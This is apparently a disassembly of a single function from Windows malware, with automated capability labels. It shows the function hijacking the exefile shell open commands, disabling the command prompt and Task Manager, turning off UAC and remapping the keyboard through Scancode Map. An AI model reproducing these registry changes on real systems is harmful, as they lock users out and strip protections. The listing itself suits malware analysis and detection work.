Function at 0x140001be0
Capabilities:
Disable system features via registry on windows
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.HKEY_CLASSES_ROOTexefile_shell
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r14d, r14d
test eax, eax
jne 0x140001f5d
mov edx, 0x104
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x48]
call fcn.140001200
nop
mov rdi, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, rdi
cmp rax, 0x16
jb 0x140001cab
lea rax, [rdi + 0x16]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rcx, 7
cmova rbx, qword [rbp - 0x48]
lea rcx, [rbx + rdi*2]
mov r8d, 0x2c
lea rdx, [0x1400064c8]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x2c], r14w
jmp 0x140001cc9
mov qword [rsp + 0x20], 0x16
lea r9, [0x1400064c8]
mov edx, 0x16
lea rcx, [rbp - 0x48]
call fcn.140004340
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov rdi, qword [rbp - 0x38]
lea rsi, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rsi, qword [rbp - 0x48]
movabs rbx, 0x7ffffffffffffffe
cmp rdi, rbx
ja 0x1400024eb
cmp rdi, 7
ja 0x140001d1c
mov qword [rbp - 0x58], rdi
mov ecx, 7
mov qword [rbp - 0x50], rcx
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x68], xmm0
jmp 0x140001dca
mov rax, rdi
or rax, 7
cmp rax, rbx
jbe 0x140001d6e
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001d9e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400024f1
mov rcx, rax
call fcn.140004540
mov rcx, rax
test rax, rax
je 0x140001efd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001da3
mov rbx, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400024f1
add rcx, rcx
jne 0x140001d36
mov rax, r14
jmp 0x140001da3
call fcn.140004540
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x58]
mov rax, rcx
sub rax, rdi
cmp rax, 7
jb 0x140001e09
lea rax, [rdi + 7]
mov qword [rbp - 0x58], rax
lea rbx, [rbp - 0x68]
cmp rcx, 7
cmova rbx, qword [rbp - 0x68]
lea rcx, [rbx + rdi*2]
mov r8d, 0xe
lea rdx, str.__1___
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0xe], r14w
jmp 0x140001e27
mov qword [rsp + 0x20], 7
lea r9, str.__1___
mov edx, 7
lea rcx, [rbp - 0x68]
call fcn.140004340
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.opencommand
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001e77
mov dword [rsp + 0x28], 0x20
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str._runascommand
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001ec6
mov dword [rsp + 0x28], 0x20
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140001f09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140001f5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWARESoftwarePoliciesMicrosoftWindows
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001fe0
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableCMD
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001fe0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002063
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002063
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400020cf
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableLUA
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400020cf
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwarePoliciesMicrosoftWindowsSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000213b
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableLogonBackgroundImage
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000213b
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.Control_PanelDesktop
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400021a7
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.AutoColorization
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400021a7
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlKeyboard_Layout
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400024bd
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x18], 0x51
mov dword [rbp - 0x14], 0xe0210000
mov dword [rbp - 0x10], 0xe06c0000
mov dword [rbp - 0xc], 0xe06d0000
mov dword [rbp - 8], 0xe0110000
mov dword [rbp - 4], 0xe06b0000
mov dword [rbp], 0xe0500000
mov dword [rbp + 4], 0xe04b0000
mov dword [rbp + 8], 0xe04d0000
mov dword [rbp + 0xc], 0xe0480000
mov dword [rbp + 0x10], 0xe0400000
mov dword [rbp + 0x14], 0xe0420000
mov dword [rbp + 0x18], 0xe03b0000
mov dword [rbp + 0x1c], 0xe03e0000
mov dword [rbp + 0x20], 0xe03c0000
mov dword [rbp + 0x24], 0xe03f0000
mov dword [rbp + 0x28], 0xe0580000
mov dword [rbp + 0x2c], 0xe0070000
mov dword [rbp + 0x30], 0xe0410000
mov dword [rbp + 0x34], 0xe0570000
mov dword [rbp + 0x38], 0xe0430000
mov dword [rbp + 0x3c], 0xe0230000
mov dword [rbp + 0x40], 0xe03d0000
mov dword [rbp + 0x44], 0xe0080000
mov dword [rbp + 0x48], 0x280000
mov dword [rbp + 0x4c], 0xc0000
mov dword [rbp + 0x50], 0x330000
mov dword [rbp + 0x54], 0x340000
mov dword [rbp + 0x58], 0x350000
mov dword [rbp + 0x5c], 0x270000
mov dword [rbp + 0x60], 0x1a0000
mov dword [rbp + 0x64], 0x2b0000
mov dword [rbp + 0x68], 0x1b0000
mov dword [rbp + 0x6c], 0x290000
mov dword [rbp + 0x70], 0xd0000
mov dword [rbp + 0x74], 0xb0000
mov dword [rbp + 0x78], 0x20000
mov dword [rbp + 0x7c], 0x30000
mov dword [rbp + 0x80], 0x40000
mov dword [rbp + 0x84], 0x50000
mov dword [rbp + 0x88], 0x60000
mov dword [rbp + 0x8c], 0x70000
mov dword [rbp + 0x90], 0x80000
mov qword [rbp + 0x94], 0x90000
mov dword [rbp + 0x9c], 0x1e0000
mov dword [rbp + 0xa0], 0x300000
mov dword [rbp + 0xa4], 0x2e0000
mov dword [rbp + 0xa8], 0x200000
mov dword [rbp + 0xac], 0x120000
mov dword [rbp + 0xb0], 0x210000
mov dword [rbp + 0xb4], 0x220000
mov dword [rbp + 0xb8], 0x230000
mov dword [rbp + 0xbc], 0x240000
mov dword [rbp + 0xc0], 0x320000
mov dword [rbp + 0xc4], 0x310000
mov dword [rbp + 0xc8], 0x180000
mov dword [rbp + 0xcc], 0x190000
mov dword [rbp + 0xd0], 0x100000
mov dword [rbp + 0xd4], 0x130000
mov dword [rbp + 0xd8], 0x1f0000
mov dword [rbp + 0xdc], 0x140000
mov dword [rbp + 0xe0], 0x160000
mov dword [rbp + 0xe4], 0x2f0000
mov dword [rbp + 0xe8], 0x110000
mov dword [rbp + 0xec], 0x2d0000
mov dword [rbp + 0xf0], 0x150000
mov dword [rbp + 0xf4], 0x2c0000
mov dword [rbp + 0xf8], 0x520000
mov dword [rbp + 0xfc], 0x4f0000
mov dword [rbp + 0x100], 0x500000
mov dword [rbp + 0x104], 0x510000
mov dword [rbp + 0x108], 0x4b0000
mov dword [rbp + 0x10c], 0x4c0000
mov dword [rbp + 0x110], 0x4d0000
mov dword [rbp + 0x114], 0x470000
mov dword [rbp + 0x118], 0x480000
mov dword [rbp + 0x11c], 0x490000
mov dword [rbp + 0x120], 0xe0000
mov dword [rbp + 0x124], 0xe0530000
mov dword [rbp + 0x128], 0xe05f0000
mov dword [rbp + 0x12c], eax
mov dword [rsp + 0x28], 0x150
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.ScancodeMap
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140004520
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011e0
nop
call fcn.140001140
int3